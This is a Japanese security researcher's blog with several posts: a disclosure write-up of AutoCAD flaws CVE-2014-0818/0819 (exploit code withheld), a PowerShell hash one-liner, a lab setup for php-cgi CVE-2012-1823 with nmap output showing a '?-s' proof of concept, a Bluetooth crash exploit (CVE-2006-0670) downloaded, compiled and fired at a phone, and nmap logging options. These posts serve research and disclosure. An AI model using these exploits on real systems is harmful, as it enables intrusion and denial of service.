Hatena::ブログ(Diary)

思い立ったら書く日記

 

2014-02-23

AutoCADの脆弱性CVE-2014-0818, CVE-2014-0819が修正された

| 17:44 | AutoCADの脆弱性CVE-2014-0818, CVE-2014-0819が修正されたを含むブックマーク

2014年2月21日、AutoCAD の脆弱性 CVE-2014-0818(JVN#33382534), CVE-2014-0819(JVN#43254599)が修正されたことが公表されました。この日記では、これらの脆弱性について次の 4 点を書きます。

  • 脆弱性を発見した経緯
  • IPA への脆弱性届出情報(抜粋)
  • 脆弱性を修正したバージョンにおける再現手順の実施結果
  • 報告から修正までの時系列

[Update Mar 19, 2014]

I wrote up a summary of this post in English and submitted to Packet Storm.

脆弱性を発見した経緯

まず、僕が直接 CVE-2014-0818(JVN#33382534)を発見したわけではありません。発見者よりは報告者という表現が適切です。

2012 年 6 月、ESET が AutoCAD の AutoLISP で書かれたワーム「ACAD/Medre.A」のブログ記事を公開しました。このブログ記事では、「ACAD/Medre.A」が感染するために AutoLisp コードの自動読み込み機能を悪用していることを説明していました。このとき、僕は読み込む AutoLisp コードを決定する探索パスに疑問を持ちました。そして、AutoCAD の公式ドキュメントを読むと、ファイル名だけ指定された場合に、まずカレントディレクトリを探索することを確認できました。

そこで、ESET のブログ記事をもとに実証コードを作成したうえで、「ACAD/Medre.A」の感染原因を「ファイル探索パスに関する脆弱性」として IPA に報告しました。なお、報告内容をまとめる過程で、DLL 読み込みに関する脆弱性の可能性も確認できたため、これもあわせて報告しました。

IPA への脆弱性届出情報(抜粋)

IPA への脆弱性届出情報(様式はここを参照)のうち、「2. 脆弱性関連情報」と「6. その他」を抜粋します。この抜粋した情報には、JVN#33382534 に関連する AutoCAD 公式ドキュメントへのリンクや再現手順などを含みます。日記に転載するうえで【】の記述を加筆しましたが、それ以外は原文のままです。

======================================================================
(抜粋)

2. 脆弱性関連情報

  1) この脆弱性関連情報の入手先
     □ 自分で発見した    □ 人から入手した
     ■ ウェブサイトから入手した
        (http://blog.eset.com/2012/06/21/acadmedre-a-technical-analysis-2)

  2) 脆弱性を確認したソフトウエア等に関する情報
     名称:AutoCAD 2013
     バージョン:G.55.0.0
     パッチレベル:-
     言語:日本語
     設定情報:-

  3) 脆弱性の種類
     ファイル探索パスに関する脆弱性
     (CWE-427: http://cwe.mitre.org/data/definitions/427.html)

  4) 再現手順
     (1) 「AutoCAD 2013」を起動して、AutoCAD 2013 図面ファイル
         「Drawing1.dwg」を作成する。この「Drawing1.dwg」と検証
         コード「Acad.fas」を同じフォルダに保存しておく。
         (添付ファイル:AutoCAD2013_exploit01.png)【後述】

     (2) 「Drawing1.dwg」をダブルクリックで開く。このとき、別途
         「Process Monitor」も起動しておく。

     (3) 「AutoCAD 2013」が起動すると同時に、電卓プログラム(calc.exe)
         が起動してしまう。
         (添付ファイル:AutoCAD2013_exploit02.png)【後述】

         (2) の「Process Monitor」の結果を確認すると、「Drawing1.dwg」
         と同じフォルダに保存した「Acad.fas」が読み込まれているこ
         とが分かります。
         (添付ファイル:AutoCAD2013_exploit03.png)【後述】

         さらに「Process Monitor」の [Event Properties] - [Stack] で
         確認したところ、accore.dll のコードが「Acad.fas」を読み込ん
         でいるようです。
         (添付ファイル:AutoCAD2013_exploit03-2.png)【後述】

  5) 再現の状況
     ■ 常に    □ 時々    □ まれに
     補足説明(バージョンによる、言語による、などを記入)

  6) 脆弱性により発生しうる脅威
     第三者が用意した FAS ファイル(*)が読み込まれることで、任意の
     VBScript が実行されてしまう恐れがあります。本届出の情報入手
     先にあるように、実際にマルウェア「ACAD/Medre.A」が本届出情報
     を悪用したようです。

     (*) コンパイルされた AutoLisp コード
         http://exchange.autodesk.com/autocadmechanical/jpn/online-help/AMECH_PP/2012/jpn/pages/WS73099cc142f4875516d84be10ebc87a53f-7bc0.htm

  7) 回避策
     ・運用における回避策(現実的には難しい)
     「AutoCAD 2013」に関連付いたファイルをダブルクリックで開くと
     きに、同じフォルダに FAS ファイルがないことを確認する。

  8) 検証コード
     http://blog.eset.com/2012/06/21/acadmedre-a-technical-analysis-2
     を参考に次の AutoLisp コードを書きました。
----- ここから ----------------------
【日記に掲載する上で削除しました】
----- ここまで ----------------------

     上記コードを「exploit.lsp」というファイル名で保存しました。

     この「exploit.lsp」を下記の情報を基にコンパイルして、「Acad.fas」
     という FAS ファイルを作成しました。
     http://exchange.autodesk.com/autocad/jpn/online-help/browse#WS73099cc142f4875516d84be10ebc87a53f-787d.htm

     具体的には、「AutoCAD 2013」の [管理]メニューから Visual LISP
     エディタを起動して、Visual LISP Console にて、以下のコマンドを
     実行します(「exploit.lsp」を C:\exploit フォルダに保存してい
     るという前提です)。
     (vlisp-compile 'st "c:/exploit/exploit.lsp" "c:/exploit/Acad.fas")

  9) その他
     ・バージョンについては、[AutoCAD 2013 バージョン情報]メニュー
       で確認しました。
       (添付ファイル:AutoCAD2013_version.png)
       【日記には掲載しません】

     ・本届出と類似した脆弱性としては、CVE-2011-3360 があります。
       http://cve.mitre.org/cgi-bin/cvename.cgi?name=2011-3360
       http://www.exploit-db.com/exploits/18125/

     ・AutoCAD ドキュメントの「load」関数の説明によると、
       FAS ファイルのみ指定された場合、「AutoCAD 2013」は
       まずカレントディレクトリを探索するようです。
       http://exchange.autodesk.com/autocad/jpn/online-help/browse#WS73099cc142f4875516d84be10ebc87a53f-7872.htm

(抜粋)

6. その他

  4) 再現手順の「Process Monitor」の結果を確認したところ、
  「AutoCAD 2013」には DLL 読み込みに関する脆弱性も存在している
  可能性があります。

  添付ファイル「AutoCAD_exploit.zip」の AutoCAD_exploit.PML を
  「Process Monitor」で開き、DLL の読み込み状況をご確認ください。
  【日記には掲載しません】
======================================================================

f:id:kaito834:20140222203210p:image:w420:h258

AutoCAD2013_exploit01.png


f:id:kaito834:20140222203211p:image:w420:h258

AutoCAD2013_exploit02.png


f:id:kaito834:20140222203212p:image:w387:h254

AutoCAD2013_exploit03.png


f:id:kaito834:20140222203213p:image:w387:h285

AutoCAD2013_exploit03-2.png

脆弱性を修正したバージョンにおける再現手順の実施結果

脆弱性が修正された「AutoCAD 2014」の体験版で、IPA への脆弱性届出情報 2.4) 再現手順を実施してみました*1。すると、「AutoCAD 2014」が起動すると、次の警告ダイアログウインドウが表示されました。このウインドウにて [ロードしない](初期選択)を選択すると、acad.FAS のコードが実行されずに「Drawing1.dwg」が表示されました。一方、[ロードする] を選択すると、定番の電卓プログラム(calc.exe)が起動しました。

レジストリを探索しても、AutoCAD 2013 Service Pack 1 で導入された AUTOLOAD および AUTOLOADPATH パラメータを確認できなかったこともふまえると、AutoLisp コードの自動読み込み機能を維持しつつ、(危険性のある)コードの実行可否を利用者に委ねることで、脆弱性を解消したと理解しました。

f:id:kaito834:20140223161819p:image:w278:h105

報告から公表までの時系列

IPA に脆弱性を報告してから、脆弱性が公表されるまでの時系列を下表にまとめました。

年月日事柄
2012年7月3日IPA に AutoCAD の脆弱性を報告した。同日、IPA から「脆弱性情報を受信したこと」を連絡いただいた。
2012年8月6日IPA から、「報告した脆弱性情報を脆弱性として受理したこと」および「脆弱性情報を開発者に通知したこと」を連絡いただいた。
2012年8月*2Autodesk 社がセキュリティ制御を実装した AutoCAD 2013 Service Pack 1(SP1)*3 を公開した。
2013年4月4日IPA に報告した脆弱性の対応状況を問い合わせた。
2013年4月18日IPA から「問題を一部修正したバージョン(Service Pack) を提供しており、現在も対応中」との回答をいただいた(このとき、僕は SP1 の存在を知りました)。
2013年5月11日IPA に「『FAS ファイルのファイル探索パスに関する脆弱性』(CVE-2014-0818)の修正を完了しており、現在『DLL 読み込みに関する脆弱性』(CVE-2014-0819)を修正している状況か」確認した。
2013年5月22日IPA から「『FAS ファイルのファイル探索パスに関する脆弱性』と『DLL 読み込みに関する脆弱性』どちらも対応中」との回答をいただいた。
2013年8月22日IPA に「AutoCAD の脆弱性 CVE-2013-3665 が報告した脆弱性に該当するか」問い合わせた。
2013年9月4日IPA から「Autodesk 社に(8月22日の)問い合わせ内容を確認中である」との報告をいただいた。
2013年9月中旬*4IPA から「報告した脆弱性と CVE-2013-3665 は別の脆弱性である」との回答をいただいた。
2014年2月21日IPA から「CVE-2014-0818(JVN#33382534), CVE-2014-0819(JVN#43254599)を公表したこと」を連絡いただいた。

さいごに

脆弱性を修正いただいた Autodesk 社、報告から修正および公表まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

更新履歴

更新日更新内容
2014年2月23日作成(ウェブ魚拓
2014年3月19日Packet Storm のリンクを追記

*1:「AutoCAD 2014」の動作環境は、Windows 7 Service Pack1 です。

*2「Without A Net」の記事の公開日をもとに、2012年8月に公開されていたと判断しました。

*3「Without A Net」の記事のコメントによると、SP1 が公開された後で、多数のバグを修正した SP1.1 が公開されたようです。

*4:2013 年 9 月中旬頃に IPA からメールをいただいていると思いますが、当該メールが見つかりませんでした...

2014-02-08

PowerShellを使って、右クリックメニューでファイルのハッシュ値を算出する

| 23:17 | PowerShellを使って、右クリックメニューでファイルのハッシュ値を算出するを含むブックマーク

Windows でファイルのハッシュ値を算出するとき、僕は「HashTab」をよく使っています。しかし、セキュリティポリシー等で使用するソフトウェアに制約があり、「HashTab」(や他のハッシュ値算出ツール)を(ポリシー上)使えないときがあります。そこで、Windows 7 から標準搭載された PowerShell を使い、ファイルの右クリックメニューからファイルのハッシュ値を算出する方法を調べました。

この日記では、Windows のレジストリを編集します。レジストリを誤って編集してしまうと、Windows の動作に問題が生じる恐れがあります(参考:Microsoft サイトにおける警告)。そのリスクを理解したうえで実践してください。

動作確認環境

下表の Windows, PowerShell の組み合わせで、後述の 2 点を確認しました。

WindowsPowershell*1
Windows 8Powershell 3.0
Windows 7 SP1Powershell 2.0
  • エラーが出ずに実行できること
  • 算出した SHA1 ハッシュ値が「HashTab」で算出したものと一致すること
    • "C:\Program Files\TrueCrypt\TrueCrypt.exe"

右クリックメニューに「ファイルのハッシュ値を算出する」ワンライナーを追加する

レジストリエディタ「regedit」を起動して、次のようにレジストリを編集します。「SHA1ハッシュ算出」は任意の文字列で構いません。この文字列が右クリックメニュー名となります。

  • HKEY_CLASSES_ROOT\*\shell 以下に 2 つのキーを追加する。
    • SHA1ハッシュ算出
    • SHA1ハッシュ算出\command
  • HKEY_CLASSES_ROOT\*\shell\SHA1ハッシュ算出\command の (既定) を編集する。
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoExit -command "& { $w=(Get-Host).UI.RawUI.WindowSize; $b=(Get-Host).UI.RawUI.BufferSize; $b.Width=120; $w.Width=120; $w.Height=10; (Get-Host).UI.RawUI.BufferSize=$b; (Get-Host).UI.RawUI.WindowSize=$w; $f=(gi """"%1""""); [string]::concat($f.FullName, ': '); [string]::concat(([security.cryptography.SHA1]::create().computehash($f.openread())|%%{$_.tostring('X2')})); '' }"

レジストリを編集すると、下図のようになります。

f:id:kaito834:20140208162552p:image:w578:h164


この右クリックメニューで、TrueCrypt.exe の SHA1 ハッシュ値を算出すると、下図のようになります。このハッシュ値を「HashTab」で算出したものと比較すると一致しました。

f:id:kaito834:20140208163323p:image:w622:h136


「ファイルのハッシュ値を算出する」ワンライナーの補足

この日記のワンライナーは、http://z.apps.atjp.jp/memo/powershell.htmlワンライナーに、PowerShell コンソールのウインドウサイズの変更処理を加えたものです。

TechNet の記事をもとに、PowerShell コンソールのウインドウサイズを変更します。当該記事では、WindowSize オブジェクトの Width, Height プロパティだけを変更していますが、この 2 つに加えて BufferSize オブジェクトの Width プロパティも変更します。僕の Windows 7 環境で BufferSize オブジェクトの Width プロパティを変更しなかった場合、次のエラーが出力されました。そこで、BufferSize オブジェクトの Width プロパティも変更しています。

"WindowSize" の設定中に例外が発生しました: "ウインドウの幅は画面バッファーの幅を上回ることができません。
パラメータ名: value.Width
実際の値は 120 です。"
(以下、略)

[2014年3月21日追記] Get-FileHash コマンドレットをワンライナーに使う

Powershell 4.0 には、ハッシュ値を算出する「Get-FileHash」コマンドレットが導入されました(このブログ記事で知りました)。

A new cmdlet, Get-FileHash, that returns a file hash in one of several formats for a specified file, has been added.

What’s New in Windows PowerShell

Windows 8.1 には Powershell 4.0 が標準で搭載されているため*2、「Get-FileHash」コマンドレットを使って、下記のワンライナーも書けます。この右クリックメニューで、TrueCrypt.exe の SHA1 ハッシュ値を算出すると、下図のようになります。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoExit -command "& { $w=(Get-Host).UI.RawUI.WindowSize; $w.Width=120; $w.Height=10; (Get-Host).UI.RawUI.WindowSize=$w; Get-FileHash """"%1"""" -Algorithm SHA1 | Format-List; }"

f:id:kaito834:20140321214829p:image:w626:h140

まとめ

イケてる出力結果ではありませんが、ひとまず目標を達成できました。Windows 標準環境でもっとよいハッシュ値の算出方法があるよー、という方は教えていただけると嬉しいです。

関連情報

更新履歴

更新日更新内容
2014年2月8日作成(ウェブ魚拓
2014年3月21日「Get-FileHash」コマンドレットを使う方法を追記

*1:$PSVersionTable の PSVersion を確認しました。

*2:「Windows 8.1 Frequently Asked Questions」の General - "Are there any new features in Windows PowerShell?" を参照してください。

2014-02-06

php-cgi における脆弱性 CVE-2012-1823 の再現環境を準備する

| 23:45 | php-cgi における脆弱性 CVE-2012-1823 の再現環境を準備するを含むブックマーク

php-cgi(CGI 版 PHP)における脆弱性 CVE-2012-1823 の再現環境を準備する必要があったため、過去にまとめたメモを見直していました。このような再現環境を準備するとき、該当バージョンのソフトウェアを探したり意外と時間が掛かってしまいます。そこでメモをもとに、改めてこの日記をまとめました。

なお、この日記では CVE-2012-1823 には触れません。この脆弱性を知りたい方は参考情報をご参照ください。

再現環境

この日記では、Windows 8 で下表のソフトウェアを使い、再現環境を構築しました。

ソフトウェアバージョン
Ubuntu Server12.04
Kali Linux1.0.6
VMware Player6.0.1
php-cgi5.3.10-1ubuntu3
nmap6.40

再現環境の構築手順

次の 1 から 4 の順に、CVE-2012-1823 の再現環境を構築しました。この日記では 2 から 4 の手順の要点を中心に説明します。

  1. VMware Player をインストールする。
  2. 仮想マシンUbuntu 12.04 Server」を作る。
  3. インストールメディアから「php-cgi」をインストールする。
  4. nmap を使って、CVE-2012-1823 があることを確認する。

仮想マシンUbuntu 12.04 Server」を作る

まず、UbuntuOld Ubuntu Releases から 64 bit 向け/32 bit 向けの Ubuntu 12.04 Server の ISO イメージをダウンロードします。この日記では、32 bit 向け Ubuntu 12.04 Server(ubuntu-12.04-server-i386.iso) を使いました。

VMware Player を起動して、[Player]メニュー - [ファイル] - [新しい仮想マシン]から仮想マシンを作ります。「新しい仮想マシン ウィザード」では、「後で OS をインストール」を選択します。[ゲスト OS の選択] にて、ゲストOS に Linux、バージョンに Ubuntu を選択した後は、初期値のままで構いません。

作成した仮想マシンの CD/DVD ドライブにダウンロードした ISO イメージを指定して起動します。そして、インストーラに沿って、「Ubuntu 12.04 Server」をインストールします。この「Ubuntu 12.04 Server」のインストールでは、[ソフトウェアの選択] で「LAMP server」と「OpenSSH server」を選択する以外は、初期値のまま(または好みの値)で構いません。

インストールが完了して無事に起動すれば、仮想マシンUbuntu 12.04 Server」の準備は終わりです。


インストールメディアから「php-cgi」をインストールする

仮想マシンUbuntu 12.04 Server」にて、次のコマンドを実行します(この日記では、Tera Termssh 接続して実行しました)。なお、コマンドの実行結果については一部のみ掲載しています。

$ sudo apt-cdrom add
$ sudo sed -i -r -e's/^(deb.+)/#\1/g' -e's/#(deb cdrom.+)/\1/g' /etc/apt/sources.list
$ sudo apt-get update
$ sudo apt-get install php5-cgi
$ sudo a2dismod php5
$ sudo a2enmod actions
$ sudo vi /etc/apache2/conf.d/php5-cgi.conf
$ cat /etc/apache2/conf.d/php5-cgi.conf
<IfModule mod_actions.c>
  Action application/x-httpd-php /cgi-bin/php5
</IfModule>

$ sudo service apache2 restart
$ sudo vi /var/www/phpinfo.php
$ cat /var/www/phpinfo.php
<?php phpinfo(); ?>


前述のコマンドを実行したら、仮想マシンUbuntu 12.04 Server」の phpinfo.php にブラウザでアクセスします。この日記では、http://192.168.30.128/phpinfo.php となります(意図的に h をhと記述していますのでご注意ください)。このブラウザの出力結果で [Server API] が「CGI/FastCGI」となっていれば、php-cgi(CGI 版 PHP)が動作していると判断します*1

f:id:kaito834:20140206004311p:image:w598:h462


nmap を使って、CVE-2012-1823 があることを確認する

最後に、nmap の Nmap Scripting Engine(NSE) スクリプト「http-vuln-cve2012-1823」を実行して、CVE-2012-1823 があることを確認します。この日記では、別の仮想マシンで Kali Linux 1.0.6 を起動して、Kali Linux 上で nmap を実行しました。nmap の実行結果が VULNERABLE であることから、CVE-2012-1823 があることを確認できました。参考までに、nmap 実行時のパケットキャプチャデータを CloudShark にアップロードしておきます。

# nmap -n -sS -p80 --script http-vuln-cve2012-1823 --script-args http-vuln-cve2012-1823.uri=/phpinfo.php 192.168.30.128

Starting Nmap 6.40 ( http://nmap.org ) at 2014-02-06 01:49 UTC
Nmap scan report for 192.168.30.128
Host is up (0.0013s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-vuln-cve2012-1823:
|   VULNERABLE:
|   PHP-CGI Remote code execution and source code disclosure
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:2012-1823
|     Description:
|       According to PHP's website, "PHP is a widely-used general-purpose
|       scripting language that is especially suited for Web development and
|       can be embedded into HTML." When PHP is used in a CGI-based setup
|       (such as Apache's mod_cgid), the php-cgi receives a processed query
|       string parameter as command line arguments which allows command-line
|       switches, such as -s, -d or -c to be passed to the php-cgi binary,
|       which can be exploited to disclose source code and obtain arbitrary
|       code execution.
|     Disclosure date: 2012-05-3
|     Extra information:
|       Proof of Concept:/phpinfo.php?-s
|   <code><span style="color: #000000">
|   <span style="color: #0000BB">&lt;?php&nbsp;phpinfo</span><span style="color: #007700">();&nbsp;</span><span style="color: #0000BB">?&gt;<br /></span><br /></span>
|   </code>
|     References:
|       http://ompldr.org/vZGxxaQ
|       http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
MAC Address: 00:0C:29:80:CF:64 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds

再現環境を準備できたら

あとは、CVE-2012-1823 の Exploit コードを実行するだけです。この日記では Exploit コードに言及していませんが、この再現環境にはいわゆる Apache Magica 攻撃も成功するはずです(元々この再現環境を準備するキッカケは Apache Magica 攻撃でした)。

参考情報

*1この情報を参考にさせていただきました。

2013-11-01

CVE-2006-0670 の実証コードを使って Bluetooth データを送信してみる

| 07:05 | CVE-2006-0670 の実証コードを使って Bluetooth データを送信してみるを含むブックマーク

この日記には、CVE-2006-0670実証コードを使って、市販の Bluetooth アダプタで Bluetooth データを送信できるか試した結果をまとめました。

無線 LAN(IEEE 802.11)で任意の無線 LAN フレームを送信する場合、無線 LAN アダプタを吟味する必要があります*1。そのため、無線通信の Bluetooth で同様のことを行う場合も、Bluetooth アダプタを吟味する必要があると考えていました。ところが、調べてみるとその必要はないようです。そこで、実際に自宅で使っていた Bluetooth アダプタで試してみました。

実証環境

この日記の実証環境は、下図となります。この実証環境では、Kali Linux 1.0.4 上で CVE-2006-0670 の実証コードを実行して、ノート PC から Galaxy Nexus(SC-04D) に対して Bluetooth データの送信を試しました。この実証環境について、次の 2 点を補足します。

  • Bluetooth アダプタに Buffalo 製「BSHSBD04BK」を使う
  • 実証コードをビルドするためには、libbluetooth-dev パッケージが必要である
    • Kali 1.0.4 には初期状態でインストールされている

f:id:kaito834:20131026160526p:image:w414:h116

実証結果

この実証環境で CVE-2006-0670 の実証コードを実行したところ、Buffalo 製「BSHSBD04BK」で Bluetooth データを送信できました。具体的な実証手順を後述します。

実証手順

Bluetooth データの送信を試すために、実証環境で次の 1 から 3 の手順を実施しました。

  1. 「BSHSBD04BK」の動作を確認する
  2. 実証コードを実行する
  3. キャプチャデータを確認する
「BSHSBD04BK」の動作を確認する

まず「lsusb」コマンドで「BSHSBD04BK」が認識されていることを確認して、「hciconfig」コマンドで「BSHSBD04BK」の論理インターフェイス hci0 の動作状況を確認しました。このとき、hci0 が DOWN していたため、「hciconfig hci0 up」を実行して hci0 を稼働させました。

# lsusb -d 0a12:0001
Bus 004 Device 002: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)
# hciconfig 
hci0:	Type: BR/EDR  Bus: USB
	BD Address: 00:1B:DC:05:08:CD  ACL MTU: 310:10  SCO MTU: 64:8
	DOWN 
	RX bytes:509 acl:0 sco:0 events:21 errors:0
	TX bytes:317 acl:0 sco:0 commands:18 errors:0
# hciconfig hci0 up
# hciconfig 
hci0:	Type: BR/EDR  Bus: USB
	BD Address: 00:1B:DC:05:08:CD  ACL MTU: 310:10  SCO MTU: 64:8
	UP RUNNING 
	RX bytes:976 acl:0 sco:0 events:39 errors:0
	TX bytes:634 acl:0 sco:0 commands:36 errors:0

実証コードを実行する

実証コードを実行するため、それをダウンロードしてビルドしました。実証コードを実行するときには、宛先の Bluetooth アドレスを指定します。

# wget http://www.secuobs.com/hcidump-crash.c
# gcc -lbluetooth hcidump-crash.c -o hcidump-crash
# ./hcidump-crash
./hcidump-crash <btaddr>

実証コードを実行する前に、「hcidump」コマンドを実行しました。これで、hci0 から送受信した Bluetooth データを exploit.dump ファイルに保存できます。

# hcidump -i hci0 -w exploit.dump
HCI sniffer - Bluetooth packet analyzer ver 2.4
btsnoop version: 1 datalink type: 1002
device: hci0 snap_len: 1028 filter: 0x0

準備が整ったので、実証コードを実行しました。実行すると、下記のような出力結果を得ました。実証コードの実行が完了したら、先に実行した「hcidump」も終了させます。

# ./hcidump-crash fc:c7:34:b7:de:ae
L2CAP packet sent (15)
Buffer:	08 01 0C 00 41 41 41 41 41 41 41 41 41 41 41 

キャプチャデータを確認する

最後に、exploit.dump に保存した Bluetooth データを Wireshark で確認しました。Wireshark で確認したところ、130 個の Bluetooth データを確認できました。この Bluetooth データの中に、実証コード出力結果で得られたバイト列「08 01 0C 00 41 41 41 41 41 41 41 41 41 41 41」を含むデータを確認できました。以上のことから、「BSHSBD04BK」で Bluetooth データを送信できたと判断しました。

まとめ

「BSHSBD04BK」以外の Bluetooth アダプタで試せていないため、残念ながら「任意のアダプタで Bluetooth データを送信できる」とは言えません。しかし、適当に購入していたアダプタで Bluetooth データを送信できたため、無線 LAN アダプタに比べると、任意の Bluetooth データを送信する敷居が低そうです。

関連情報

*1:任意の無線 LAN フレームを送信できるチップセットを搭載した無線 LAN アダプタ、そのチップセットに対応したドライバを吟味する必要があります。無線 LAN アダプタとドライバを吟味するうえで、「無線LANセキュリティの教科書2014」や「HackerJapan 2013年9月号」などが参考になります。

2013-08-21

様々なログを出力できる Nmap のオプション

| 18:32 | 様々なログを出力できる Nmap のオプションを含むブックマーク

Nmap には、様々なログを出力してデバッグに使えるオプションがあります。これらのオプションを調べる機会があったため、それらのオプションを日記にまとめておきます。これで、気持ちよく忘れることができますね!

該当する Nmap のオプション

Nmap に下表のオプションを指定することで、Nmap に関する様々なログも出力できます。これらのオプションを指定して、実際に Nmap を実行してみます。

オプション説明(「nmap -h」の出力を引用)
--version-traceShow detailed version scan activity (for debugging)
--script-traceShow all data sent and received
-vIncrease verbosity level (use -vv or more for greater effect)
-vvIncrease verbosity level (use -vv or more for greater effect)
-dIncrease debugging level (use -dd or more for greater effect)
-ddIncrease debugging level (use -dd or more for greater effect)
--packet-traceShow all packets sent and received
Nmap の実行結果

Windows 7 SP1 にて nmap 6.25 を次のように実行しました。まず、Powershell を起動しました。そして、ログを出力するオプションを変えながら「-A」オプションを指定して、scanme.nmap.org に対して Nmap を実行しました。このとき、Nmap の出力結果を PowershellTee-Object コマンドレット に渡して、Nmap の標準出力結果をファイルに記録しました。

C:\Program Files\nmap-6.25>powershell
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Program Files\nmap-6.25> ./nmap -A -n -v scanme.nmap.org | Tee-Object -filepath log.txt

Starting Nmap 6.25 ( http://nmap.org ) at 2013-08-20 01:09 東京 (標準時)
NSE: Loaded 106 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 01:09
(snip)

ログを出力するオプションを指定して、Nmap を実行した結果は下表となります。

Nmap のコマンドライン実行結果
nmap -A -n --version-trace scanme.nmap.org標準出力結果
nmap -A -n --script-trace scanme.nmap.org標準出力結果
nmap -A -n -v scanme.nmap.org標準出力結果
nmap -A -n -vv scanme.nmap.org標準出力結果
nmap -A -n -d scanme.nmap.org標準出力結果
nmap -A -n -dd scanme.nmap.org標準出力結果
nmap -A -n --packet-trace scanme.nmap.org標準出力結果

ログを出力するオプションをどう使うか

僕は、以下のようなときにこれらのオプションを指定します。

  • Nmap が何を実行しているかを確認したいとき
    • 「-v」オプション
  • ポートスキャンで、open や open|filtered と判断した理由を確認したいとき
    • 「-d」オプション
  • バージョンチェックで、nmap-service-probes のどの条件に合致したか確認したいとき
    • 「--version-trace」オプション
    • 「-dd」オプション
2013年8月21日 20:30 頃 追記

@ さんから、以下のメンションをいただきました。ポートスキャンで、open や open|filtered と判断された理由を確認したいときには、「--reason」がシンプルでよいですね。

まとめ

「-v」、「-d」および「-dd」オプションを覚えておきたい。